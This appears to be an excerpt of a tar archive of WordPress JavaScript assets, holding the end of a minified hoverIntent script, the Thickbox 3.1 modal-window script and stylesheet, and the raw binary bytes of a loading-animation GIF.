L=!0,y&&(y=clearTimeout(y)),e.removeEventListener("mousemove",r,!1),1!==b&&(h=t.clientX,E=t.clientY,e.addEventListener("mousemove",r,!1),y=setTimeout(function(){u(e,t)},x.interval)),this}function c(t){return L=!1,y&&(y=clearTimeout(y)),e.removeEventListener("mousemove",r,!1),1===b&&(y=setTimeout(function(){i(e,t)},x.timeout)),this}function v(t){L||(p=!0,n.call(e,t))}function a(t){!L&&p&&(p=!1,o.call(e,t))}function f(){e.addEventListener("focus",v,!1),e.addEventListener("blur",a,!1)}function l(){e.removeEventListener("focus",v,!1),e.removeEventListener("blur",a,!1)}var m,d,h,E,L=!1,p=!1,T={},b=0,y=0,x={sensitivity:7,interval:100,timeout:0,handleFocus:!1};return T.options=function(e){var n=e.handleFocus!==x.handleFocus;return x=t({},x,e),n&&(x.handleFocus?f():l()),T},T.remove=function(){e&&(e.removeEventListener("mouseover",s,!1),e.removeEventListener("mouseout",c,!1),l())},e&&(e.addEventListener("mouseover",s,!1),e.addEventListener("mouseout",c,!1)),T}}); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/thickbox/thickbox.js�����������������������������������������������������������������������������0000644�����������������00000031612�14717703502�0011155 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * Thickbox 3.1 - One Box To Rule Them All. * By Cody Lindley (http://www.codylindley.com) * Copyright (c) 2007 cody lindley * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php */ if ( typeof tb_pathToImage != 'string' ) { var tb_pathToImage = thickboxL10n.loadingAnimation; } /*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/ //on page load call tb_init jQuery(document).ready(function(){ tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox imgLoader = new Image();// preload image imgLoader.src = tb_pathToImage; }); /* * Add thickbox to href & area elements that have a class of .thickbox. * Remove the loading indicator when content in an iframe has loaded. */ function tb_init(domChunk){ jQuery( 'body' ) .on( 'click', domChunk, tb_click ) .on( 'thickbox:iframe:loaded', function() { jQuery( '#TB_window' ).removeClass( 'thickbox-loading' ); }); } function tb_click(){ var t = this.title || this.name || null; var a = this.href || this.alt; var g = this.rel || false; tb_show(t,a,g); this.blur(); return false; } function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link var $closeBtn; try { if (typeof document.body.style.maxHeight === "undefined") {//if IE 6 jQuery("body","html").css({height: "100%", width: "100%"}); jQuery("html").css("overflow","hidden"); if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6 jQuery("body").append("<iframe id='TB_HideSelect'>"+thickboxL10n.noiframes+"</iframe><div id='TB_overlay'></div><div id='TB_window' class='thickbox-loading'></div>"); jQuery("#TB_overlay").on( 'click', tb_remove ); } }else{//all others if(document.getElementById("TB_overlay") === null){ jQuery("body").append("<div id='TB_overlay'></div><div id='TB_window' class='thickbox-loading'></div>"); jQuery("#TB_overlay").on( 'click', tb_remove ); jQuery( 'body' ).addClass( 'modal-open' ); } } if(tb_detectMacXFF()){ jQuery("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash }else{ jQuery("#TB_overlay").addClass("TB_overlayBG");//use background and opacity } if(caption===null){caption="";} jQuery("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' width='208' /></div>");//add loader to the page jQuery('#TB_load').show();//show loader var baseURL; if(url.indexOf("?")!==-1){ //ff there is a query string involved baseURL = url.substr(0, url.indexOf("?")); }else{ baseURL = url; } var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/; var urlType = baseURL.toLowerCase().match(urlString); if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images TB_PrevCaption = ""; TB_PrevURL = ""; TB_PrevHTML = ""; TB_NextCaption = ""; TB_NextURL = ""; TB_NextHTML = ""; TB_imageCount = ""; TB_FoundURL = false; if(imageGroup){ TB_TempArray = jQuery("a[rel="+imageGroup+"]").get(); for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) { var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString); if (!(TB_TempArray[TB_Counter].href == url)) { if (TB_FoundURL) { TB_NextCaption = TB_TempArray[TB_Counter].title; TB_NextURL = TB_TempArray[TB_Counter].href; TB_NextHTML = "<span id='TB_next'>  <a href='#'>"+thickboxL10n.next+"</a></span>"; } else { TB_PrevCaption = TB_TempArray[TB_Counter].title; TB_PrevURL = TB_TempArray[TB_Counter].href; TB_PrevHTML = "<span id='TB_prev'>  <a href='#'>"+thickboxL10n.prev+"</a></span>"; } } else { TB_FoundURL = true; TB_imageCount = thickboxL10n.image + ' ' + (TB_Counter + 1) + ' ' + thickboxL10n.of + ' ' + (TB_TempArray.length); } } } imgPreloader = new Image(); imgPreloader.onload = function(){ imgPreloader.onload = null; // Resizing large images - original by Christian Montoya edited by me. var pagesize = tb_getPageSize(); var x = pagesize[0] - 150; var y = pagesize[1] - 150; var imageWidth = imgPreloader.width; var imageHeight = imgPreloader.height; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; } } else if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; } } // End Resizing TB_WIDTH = imageWidth + 30; TB_HEIGHT = imageHeight + 60; jQuery("#TB_window").append("<a href='' id='TB_ImageOff'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount + TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon'></span></button></div>"); jQuery("#TB_closeWindowButton").on( 'click', tb_remove ); if (!(TB_PrevHTML === "")) { function goPrev(){ if(jQuery(document).off("click",goPrev)){jQuery(document).off("click",goPrev);} jQuery("#TB_window").remove(); jQuery("body").append("<div id='TB_window'></div>"); tb_show(TB_PrevCaption, TB_PrevURL, imageGroup); return false; } jQuery("#TB_prev").on( 'click', goPrev ); } if (!(TB_NextHTML === "")) { function goNext(){ jQuery("#TB_window").remove(); jQuery("body").append("<div id='TB_window'></div>"); tb_show(TB_NextCaption, TB_NextURL, imageGroup); return false; } jQuery("#TB_next").on( 'click', goNext ); } jQuery(document).on('keydown.thickbox', function(e){ if ( e.which == 27 ){ // close tb_remove(); } else if ( e.which == 190 ){ // display previous image if(!(TB_NextHTML == "")){ jQuery(document).off('thickbox'); goNext(); } } else if ( e.which == 188 ){ // display next image if(!(TB_PrevHTML == "")){ jQuery(document).off('thickbox'); goPrev(); } } return false; }); tb_position(); jQuery("#TB_load").remove(); jQuery("#TB_ImageOff").on( 'click', tb_remove ); jQuery("#TB_window").css({'visibility':'visible'}); //for safari using css instead of show }; imgPreloader.src = url; }else{//code to show html var queryString = url.replace(/^[^\?]+\??/,''); var params = tb_parseQuery( queryString ); TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no parameters were added to URL TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no parameters were added to URL ajaxContentW = TB_WIDTH - 30; ajaxContentH = TB_HEIGHT - 45; if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window urlNoQuery = url.split('TB_'); jQuery("#TB_iframeContent").remove(); if(params['modal'] != "true"){//iframe no modal jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon'></span></button></div></div><iframe frameborder='0' hspace='0' allowtransparency='true' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' >"+thickboxL10n.noiframes+"</iframe>"); }else{//iframe modal jQuery("#TB_overlay").off(); jQuery("#TB_window").append("<iframe frameborder='0' hspace='0' allowtransparency='true' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'>"+thickboxL10n.noiframes+"</iframe>"); } }else{// not an iframe, ajax if(jQuery("#TB_window").css("visibility") != "visible"){ if(params['modal'] != "true"){//ajax no modal jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon'></span></button></div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>"); }else{//ajax modal jQuery("#TB_overlay").off(); jQuery("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>"); } }else{//this means the window is already up, we are just loading new content via ajax jQuery("#TB_ajaxContent")[0].style.width = ajaxContentW +"px"; jQuery("#TB_ajaxContent")[0].style.height = ajaxContentH +"px"; jQuery("#TB_ajaxContent")[0].scrollTop = 0; jQuery("#TB_ajaxWindowTitle").html(caption); } } jQuery("#TB_closeWindowButton").on( 'click', tb_remove ); if(url.indexOf('TB_inline') != -1){ jQuery("#TB_ajaxContent").append(jQuery('#' + params['inlineId']).children()); jQuery("#TB_window").on('tb_unload', function () { jQuery('#' + params['inlineId']).append( jQuery("#TB_ajaxContent").children() ); // move elements back when you're finished }); tb_position(); jQuery("#TB_load").remove(); jQuery("#TB_window").css({'visibility':'visible'}); }else if(url.indexOf('TB_iframe') != -1){ tb_position(); jQuery("#TB_load").remove(); jQuery("#TB_window").css({'visibility':'visible'}); }else{ var load_url = url; load_url += -1 === url.indexOf('?') ? '?' : '&'; jQuery("#TB_ajaxContent").load(load_url += "random=" + (new Date().getTime()),function(){//to do a post change this load method tb_position(); jQuery("#TB_load").remove(); tb_init("#TB_ajaxContent a.thickbox"); jQuery("#TB_window").css({'visibility':'visible'}); }); } } if(!params['modal']){ jQuery(document).on('keydown.thickbox', function(e){ if ( e.which == 27 ){ // close tb_remove(); return false; } }); } $closeBtn = jQuery( '#TB_closeWindowButton' ); /* * If the native Close button icon is visible, move focus on the button * (e.g. in the Network Admin Themes screen). * In other admin screens is hidden and replaced by a different icon. */ if ( $closeBtn.find( '.tb-close-icon' ).is( ':visible' ) ) { $closeBtn.trigger( 'focus' ); } } catch(e) { //nothing here } } //helper functions below function tb_showIframe(){ jQuery("#TB_load").remove(); jQuery("#TB_window").css({'visibility':'visible'}).trigger( 'thickbox:iframe:loaded' ); } function tb_remove() { jQuery("#TB_imageOff").off("click"); jQuery("#TB_closeWindowButton").off("click"); jQuery( '#TB_window' ).fadeOut( 'fast', function() { jQuery( '#TB_window, #TB_overlay, #TB_HideSelect' ).trigger( 'tb_unload' ).off().remove(); jQuery( 'body' ).trigger( 'thickbox:removed' ); }); jQuery( 'body' ).removeClass( 'modal-open' ); jQuery("#TB_load").remove(); if (typeof document.body.style.maxHeight == "undefined") {//if IE 6 jQuery("body","html").css({height: "auto", width: "auto"}); jQuery("html").css("overflow",""); } jQuery(document).off('.thickbox'); return false; } function tb_position() { var isIE6 = typeof document.body.style.maxHeight === "undefined"; jQuery("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'}); if ( ! isIE6 ) { // take away IE6 jQuery("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'}); } } function tb_parseQuery ( query ) { var Params = {}; if ( ! query ) {return Params;}// return empty object var Pairs = query.split(/[;&]/); for ( var i = 0; i < Pairs.length; i++ ) { var KeyVal = Pairs[i].split('='); if ( ! KeyVal || KeyVal.length != 2 ) {continue;} var key = unescape( KeyVal[0] ); var val = unescape( KeyVal[1] ); val = val.replace(/\+/g, ' '); Params[key] = val; } return Params; } function tb_getPageSize(){ var de = document.documentElement; var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth; var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight; arrayPageSize = [w,h]; return arrayPageSize; } function tb_detectMacXFF() { var userAgent = navigator.userAgent.toLowerCase(); if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) { return true; } } ����������������������������������������������������������������������������������������������������������������������js/thickbox/thickbox.css����������������������������������������������������������������������������0000644�����������������00000005143�14717703502�0011331 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#TB_overlay { background: #000; opacity: 0.7; filter: alpha(opacity=70); position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 100050; /* Above DFW. */ } #TB_window { position: fixed; background-color: #fff; z-index: 100050; /* Above DFW. */ visibility: hidden; text-align: left; top: 50%; left: 50%; -webkit-box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 ); box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 ); } #TB_window img#TB_Image { display: block; margin: 15px 0 0 15px; border-right: 1px solid #ccc; border-bottom: 1px solid #ccc; border-top: 1px solid #666; border-left: 1px solid #666; } #TB_caption{ height: 25px; padding: 7px 30px 10px 25px; float: left; } #TB_closeWindow { height: 25px; padding: 11px 25px 10px 0; float: right; } #TB_closeWindowButton { position: absolute; left: auto; right: 0; width: 29px; height: 29px; border: 0; padding: 0; background: none; cursor: pointer; outline: none; -webkit-transition: color .1s ease-in-out, background .1s ease-in-out; transition: color .1s ease-in-out, background .1s ease-in-out; } #TB_ajaxWindowTitle { float: left; font-weight: 600; line-height: 29px; overflow: hidden; padding: 0 29px 0 10px; text-overflow: ellipsis; white-space: nowrap; width: calc( 100% - 39px ); } #TB_title { background: #fcfcfc; border-bottom: 1px solid #ddd; height: 29px; } #TB_ajaxContent { clear: both; padding: 2px 15px 15px 15px; overflow: auto; text-align: left; line-height: 1.4em; } #TB_ajaxContent.TB_modal { padding: 15px; } #TB_ajaxContent p { padding: 5px 0px 5px 0px; } #TB_load { position: fixed; display: none; z-index: 100050; top: 50%; left: 50%; background-color: #E8E8E8; border: 1px solid #555; margin: -45px 0 0 -125px; padding: 40px 15px 15px; } #TB_HideSelect { z-index: 99; position: fixed; top: 0; left: 0; background-color: #fff; border: none; filter: alpha(opacity=0); opacity: 0; height: 100%; width: 100%; } #TB_iframeContent { clear: both; border: none; } .tb-close-icon { display: block; color: #666; text-align: center; line-height: 29px; width: 29px; height: 29px; position: absolute; top: 0; right: 0; } .tb-close-icon:before { content: "\f158"; font: normal 20px/29px dashicons; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #TB_closeWindowButton:hover .tb-close-icon, #TB_closeWindowButton:focus .tb-close-icon { color: #006799; } #TB_closeWindowButton:focus .tb-close-icon { -webkit-box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/thickbox/loadingAnimation.gif��������������������������������������������������������������������0000644�����������������00000035606�14717703502�0012757 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������GIF89a���������������������������������������! NETSCAPE2.0���! ��,������DRihlp,tmx| Ȥrl:P'@0ج(E X\zlXifZunYrt|n~Yzd `w^xoE% U ~¶Ʊ̯ϺsҿeշsjF �)Łl?J4aÁ'&h1 D%r#Ȑ #0$0#J#I|y0&ɏ4)dYI6;L;y PJ�LXf 3kT`h{׮U!%kT jmjZs}/Vu-w/Tbv+XqaÈ7X|_^-|€Ϡ=倁ӨQZ[c^eǦ]wtԼ}\pˍ778 {׽?W{֥g Do`# ^A}G ~Gp� H`}1߁ Χv`\! )rx%(!. `%:�DXA �EciJ4d;)VLR@!:ZdY%S)&`x&ij&m#my_:%)ـXԩ@�@mꀠ#2 .*飉F褙x 桜R*꟠R香Zjj) �`+l`a ,Ų촽.F{.,j-^ .Ǝ, KlZJ/�޶Kλ/K믻{ |K/ X 00GļT|/ h "p<rܱ/&,+nj8=<44kS s+4.�+|5];5U{m-e5/ nӎpܺ-,M'-K-40~ߜ?/;;^/@yt2܊9l�+{Ե{I{ܽcr>?{| =61/@$S.|뼾ʓ?~ˏ#[=kG~Vg-/YX'6 {� ˰W=sMb ~b gAaa0 L<SM.vp!�nN }D?Lx%L,xuOoDF1[zpvjq4+W fG 1�8c?a&:=t8n ntZt"#Q5.td#-H.F2WtV%WM�*IQr2Y�:RnX/=x~c1HC"m082zd&Hc>OuE$<gʙ%ӕ$':yvGY'iW^ܜ=[Y|bn Bm^t!/x>npU(7=2A'Pp ;Ce(UNԝV,5K-ELU] (i9OP֒1E^H" XͪVծz3`��dhMZךZ\!�! ��,������Ldihlp,tmx|A+Ȥrl:&DX-ƴJ,,c*ayU65{iuVV잠sd}rW{\o`y t|vq(kx)u~z)w', D,+)**()ɲë'Ĺ(ձѽ&&ٰ%&A, p@PA pEA 8ྈ.lE �28"ICU$D9eɏ,ErL1f)m9fG4i.,HEg'Xx:*ZJU [v5-[dpkDܷ'r*lִ*5W-_".!B&Q8dX5bb9`4,>iԞAv=*T´m)t^vn٭h嵍GDqWWq8 ɹ/~sѱ|ܣ(@@8hϢ~ I~}ՙ`%, x߃7 BH " 0Ha}v)lh83FXc%袊D`�A-,耐CY�AI+i$?RYPf$ Vɣ"%\:ejBXh& E>[)f#Ly uv)hg!~y#9g^tYܩ.6`iDbk*難Rǩ)F) V*eJ:+6jl.[ �D �W$"p,H ih�*H;mfm~n徛.` 䚋�+n ڛB0( .6 m&{S ̋1 䍋1 @Op3.Ls0}< tl4 ?|tN\4HO}B^J[]rI?m ,Mk`#k u,t1xM2|+W,Ȃ}[3k.Sy cQg92n:B6^65ֶk u>|WN{ 76og\ǣG={%x=mܫ/1oݿ=_ǿ�S8oz Lۧ,y>{{'<pmkB F킻JX4v*^<x9!i(vP  Ư̮鏀KDz)nTPŧMQ(/f1E1pDh8td:pwr8>rx3Hɐ#! 9I2a 쭬pyK\3n<]@:m.R<W HJRAd G^fȫd2iIe\$آ MJ2sf6yg:z fKTOf.<g,!s}$9=}t'(YJ9ΟK6HL*DJ<g#w7#6qAqEj<7gJ'~25K8[²iS+ꔖ<e<?2ՈN71:jrsS*8Ibv~H9ձQ$D֫!P\J׺xS^׾+��! ��,�����$dihlp,tmxIpH,Ȥ78!#.*UYQjYVj{bff'hwZltu pxr&qz}&s%|Uc"* ?*)&('%ý(ĺ%'ҮDz>էѾ$ * Jo_? D>~)\¡2<a" +{xПF z<?ftJ-7X2!M6KNY'CQh"hBDSNJRfMu,\6zve@D\QӢ ֭ܥk떠w߶y[ \pWx*e0)*.c~9gOysϫ'.tjM%D6IF*NY Mܷݵ{&9貱;hVXOQ}A-P_ބ@C_}z(ܗUǞ{�"8'"WV w| ` h! 8^8,80'|0q<`=+ =pMh&#d<�$9% N(~JJIdGF9$ ]B hy[7.9&Vb bɣA&Io)9~Ш @cW"0jhr:a)~dwZ*bjJ*pr)W*篸U)�,�T D*, 9BL�(,ˬJKm^mݞ{.l z nbkk滮΋B /@|6̮2o&p0ю1�+6gB)&S */rL5+۲9\2%ܜt;4O�4$8-$CLR}0:k0W['XLk|7 �nE2Pl3+K7m2rs(6雃2꟫3StH=A<K=P^n|Ŀ|.jH�y\ϻv+^g<Mão0˟.Wlc觿U.{K[w@�]"8<l{1h -fL_--Z aj³Pm-4Z +ðua ml@/lU@.qeI|MXMQQ4++Vd X?/. 4#͗F1ROdBIpz^zhy[GRyuH?⑆}#FIV/|Aq5s#eDPzN0Y4YiqSܸLN$$#I)Әt&&Y<hNsLf6yLDRœ:^P3g L[e,3Gur/s9NWS̟9YNIplڬ7gPnF?<e${iɉf3!3r`F'x9^X۸7Qp|ih)STZMI-3~<UbMSbZ/@Cч&yT(G̑V4S*էR5P]( B��! ��,�����$"dB.M'ˤ>֩Jq-+{& qD.'馭;Ξ֗K KG$>>z388#"3, K K GG>>ƹ;@}# =~䵫V\(q~%D N,A3P4%2Ui摜>}N6� P1BuIVG<*iMD}xY'֯=N% 2`9+]N>{D.a>+±À ~7q} wV؇eј= |9r8NC!гg zpkگK ‷ 4XEq3D9NjK/>qҩ/!=zCg9G7</9e-܉@z$ȗ 2">`!DqPXDsQuxąj&+ (fȠu,H.Zhud=8a)]K\OC*Bf9u.4$8crI@酙Txe^fgi!掇 jf iJ& v`� �.$Ĩ Ҋ*.ꭹk>�+ڊ$L;k>JKv+ˢ.؎.Blzz&P.K; //<�p.�|1 KkS3 wl2 *v,)<Bܮ,8r N&n31H74�KG5OS,[]46lU/$rTjl1y27};'~7.5lvƪ2-}i~=y�x7.;p+{"[.];\n̓LF>ӯb*=}j/w~Nyˌ?￷�3揀_1f~T  (AEPt Y2muK=q^=݅_[XЅ%dC0UطְKF> 1^�7)Fsx?T61zaDnuZDȨmC׶fz\H-3ݮBP!^$=J&lGօ(3ѕL+e5rR"IKl2l\/s5$ri %Ij@ڐ$r vf'Lbf,f5)Nd)4*Qy3>\:}3\Q;aɹ^g;멹Zp �' I8Ne{"Dȉ0ShEYl5DhⰡJ8Ҍ* eAN%?x~=OT555 ƄԦ:PTJժZXͪVU* %] XJֲhMZ�! ��,������Ldihlp,tmx|﫣pH,ȤrtAZX i  ŕRUW 5ᵪE_c{/ysmu)ix[}pbz|Uwr{n+t')j1, ,+'**())ɫ&Ͻ%(ǹ'۷-A* ,ǂ?�O_ װA U0$⿉:Da0F"-&1Ƒ'J\H~iD){̩&Lh"ESOJRf]u\6zve@ںs5WkԴ@-Aw0`vW 낁e0@),.c~ygKysϫ'.tM'D6IFm*N;Y Mܷݵ{69貱;FWX_Pˣ`_`{? Ⳡ~{@}�|'w"V{`)(X(dzImx"|$&"/+*`#ӂ4hcf͸8(b==p#i LycrBV�n Hb,<\:y馗k9 e‰_>h D!e9 %(H6ʣ()~.z)X('zvxsj蔈Bj*jBZ*록j+ ,V�  .`wlӦ:;l,$k-BK .@+m^m ۮm«BR �p(nn2̭ྛ# k/&Lqz<!B1�(ǫr|+202V'L%]·5|3�, 't =+M<'34L2]4 ;qhpjrT d=ޅ#ݰK o-0dA<^Pn8'w祫~ө77:34?ێ/굻>;OuΜ~:tm з>|[>;{}CgO]O>߽:yI[^]KS 8?R0kdZo7 &KdL`B2sdwWB^0~^0?Y~� ֱ" نh"0HdD=Q\wD# 8_�-Vw[I 56{XA;jNpG9 O~]fF.{[:I2zx[3?>g=IPnq#%*wJKO\`(q,d =q%!:Fё#1e&j4_KDJS{&-7n%7/6pB~-,)OM*MyO63 2LjS0PLB|hzЅ:pEf6#Q7R2ڳJ�'},9ŕrQy̘/բKU9E𝲧Jqәtc*.Lk6բu*/ R^T}Tdnի]( i&hMZֶ& fm\J׺u`B��! ��,������ PLdihlp,tmx|醙pH,Ȥrɜ8H( BDvѐNW֖|'V VzW%S0]5buez)m}-yj v~*s(wx`Y'|'%%, ,+$**())ΰý±Ķ('ݪڼ,O ,T/ߊ}N\!P=*p`A}VtcB -v< zH)$j & &S4$82bɖ:$(& 6Uhl:銫XJլPU bSVs[,ݭj_Vݎ \xB޴Q% kF`, >ɊΞ^!�iU,P=tγY׆}jڮmz֯5[wU07s=tɱ/\o(Coh+ /ЀUaЖݡ_}ʕ,M$_ 7 8߂!|fX JH ȡ&8X !28 "a]:0 h�B9#cԈ/#$ ='BE:pdE MX&) T$M~cYf$N[rg駚3bM:a[4p(A�:!h{IBB)=vzߧN# jꪱ6Zi bz+"+�,�h� :v, y ²: m&؎+m*Ϯmߞ{m%n+/.$m  Sko{0 0P13K+�L22:O�-{|�, �+|2)k3 27s/Jʹ8?3YW\p m_0Z.q 0^O-qet,7}8pn BR�nӊ\3(`u!Mu$lӍNШzױ^Ԟ /mk9>շ;޻ۻS~nO�V|Oا}ף-^>?ϽOݺ_m~ӟ,/�]gdF<]+c] ρà6<w < GBy% [h}^?*K 1_@|:�?%`BD"&ۨ4%aR;f˻ (<ݽ1 펇Bqx]A/HB"Ϗ|8 Qۛ*ٹIer<#*wPRR4%(Ky7NVAHr/5;.r#iF*"yL_V%,qyVr7UmV9xNQ4©qb26/# [2L> u1궃ZDd2oe EcQZwn#ֲ.sLb+(>X|XEԋ.iS)PijwTl GGя&r-h09ՁVL*AP"QmXJֲhMZֶpk@�! ��,������`HSihlp,tmx|AȤrl:ШCuAG+ht`xY_]>aWvk_,dfopikm}**zr)yl|(t/ %T r.. V-,ýǠ'Ƹ+*(ֿ+*,-߰)A)[U .�#Dh"Z� ` }Xذ`hq_F0P#CE4Y1%F+(Đ_͘8]yRdϋ$L@A ~) OYDm0ՅUTSl*ְ(f]u hOu+V*]m㚀Y|6{"0zKf;8UkױY&0p bUiC?͢'vtj٫is~"lһmVzEmL)|npUup罉6)jc_} PkY/=*~}G-ހ`~g߃),ȟ Q!~'`!+|(:E �Q.N�., �=xD#@I;࣍Cd/FV$L9ERi% ^&–f Sy($P�H�5 &rhbc  KRbJ9OBz ʧ6'F䧫z%=飝"jj(�(p�Y�R-(> @Ǻ`m -,| r ffA P/ j׺B0v[-2 Gnh@�$p~%[̲ zr ܱo 1ܲ˼|(q> L#})EK =c)۲le/ NM=q2c'M=8߁m54cLp'R3.M z4}&yԜ;Z@[:w.۩Km{[;�W>tx7ߗ7/K?Уn} /?x;;}Oo<O~߷=~рW;=+;nG?)i TcwEz 5.U03(n`,wk[^,xp(1~܋=�0h4|D D#~QyE�oFa]@-[%hNu ^G.qtDh;J.o]G Q; msWG-qW$ 6Mo, '|[b'rrb*Hލq,銗HhҎse{ HҁLl$/ L\r z$&2Ggī*8X܄e#NYn7+JRl+Žm*AMǴiˀFӟWfHzOc(0IP^RM@g0z"9 Ry$gHyT$Yԥ*5)s6` DoyPFT5.ը0jLVUE "C ` XJֲyֶpX̄��! ��,������ P<Sihlp,tmx|&Ƀ� @Ȥrl:S)8&beHx<>mL4[. isTvux[{}bm,o~gk+_w* W B,ƾ¶ǿ+ïʵռ*f)(ꗄ"#FEE (:!C&`ď"-flh#ʔ I<Y&•%g:xis$Kk 4(Ȟ>s hQ0e>TcѝYX$ %ׯ&aѠlY1`Ӧ ۷gèv슷h oz%pm{໅7fx1Ǝqȗ1? 3qՀv1Mvm] ^m ͻ…/7䶗3-3u;~=wvǹg/ۿg>=/`k�N i8 �+x  a& *8 NH!a !*(!Ņ6'b?Ȣ>n\ओV8E' <XfIPWjeSvbZr"?fdRYo>Y'qRy[va٧zyP4D*(Mb9Cr6 % Yn@*Tz�ډ>)*ꨩ©k Z뮷 kJ6ʯ(`� (p .[  v;/./z |n| c[&ROL131 {01 _[ .njL3 ¼ 3w8L6"9-t/ tS?Mt;BVtZg[x?5_omtYǝ<2)g|0|2 0>8!}8K~9 ;8*~/z>:}hnL^Jov c]Í+{ '^خ>TcˢߋXٖ.0ys=?%0˿' m8�Z|[8#,n@+B 0|"8lT!XX=0#|<0>a ]ݏst 8""Sb.'j̀ [ fEa[Wx1mI1\XTleB)�#XF=fx#�G[4 Y1<$/&{$#1EN2b|%A9GRaqĖE:)s7W.Ww0)K~sc´%+KqrafRԛ�Xl6ώ֤Pkyڌ7׽|B& kӛ^7Yw:WK\#3y]elf7q2-EX} (G+l+a&pQltd'KɗS)<wǔγ?l=muj4ui8wT)4W%4~ecBFa�U͘eS;jVr\_k-6~hкrړ<5'`*Xֳ5 S;S*կb9YpBvl,fX9RhGKҚA&Ժlg[Zj$`!��! ��,������1dihlp,tmx|pH,m`H,X1 ht*ZOvBb+)b:)uYu͊s:gwi\^zoqfv-~)naxL/ k,, d+*()(|'ĭ)˽'Ǽ+ٸ&ݿ3 , , ++ *%N;ww0x C  Ň90ċ3VT(IN,MjV4) &TAO@q,Q Bh:4EҪ(J Hoz5ͨ,ʪuZg2)۴tvmT`@?p0+ ^AxaĀ?1 ɟ[~Yf/Gh)@NjřNԆBh՟Y6߶cX5 Y,/0 QLo>җW7~vW1}晣G>{O~|wG]~&_Y})Gw1M)*PH(! Z�j�)x"N0 %^(4Rb ᘣ(B(-"yD ,%d6" O˜W 6p"Ș9`& bI—Pg gXYw#%s:a9%PX虖J)��@� ,Х �")�0� @~%Ċ +:+ **Z+"++zl ,({FZ[-b[..j�-�$0޻켼Po# 쯸�׻pp0#<c 1 GL2\B1&k0.Rln6 mn9=Z-+CC\4G<n)]?a/m2v$7�=rޞ6=7#7߆Nw8{8 3m \uy-g :QN.ƥy).;أ;s]>{Z_:nc8ׇ=ۏy 3oo7> �x>ݏ֘ ;AvjުX/  �(.zs 8AHA" %5\{` W1뱏r"ĸ){X?(qqBlbCubGǵ;<40ie ZFrl#zC1{HVPp[b6.zT"iE*iDd*IjS$>YPJыӣ 8HحQ\wlrKYޒh[+VG*j$;v8O!,jNΚ&#�jS{LYiW 0L c;O"s\f_@~ 4.τvp=!: qst8hIsJ8dF14si/RBҥu@Ӛ8ͩNw@ 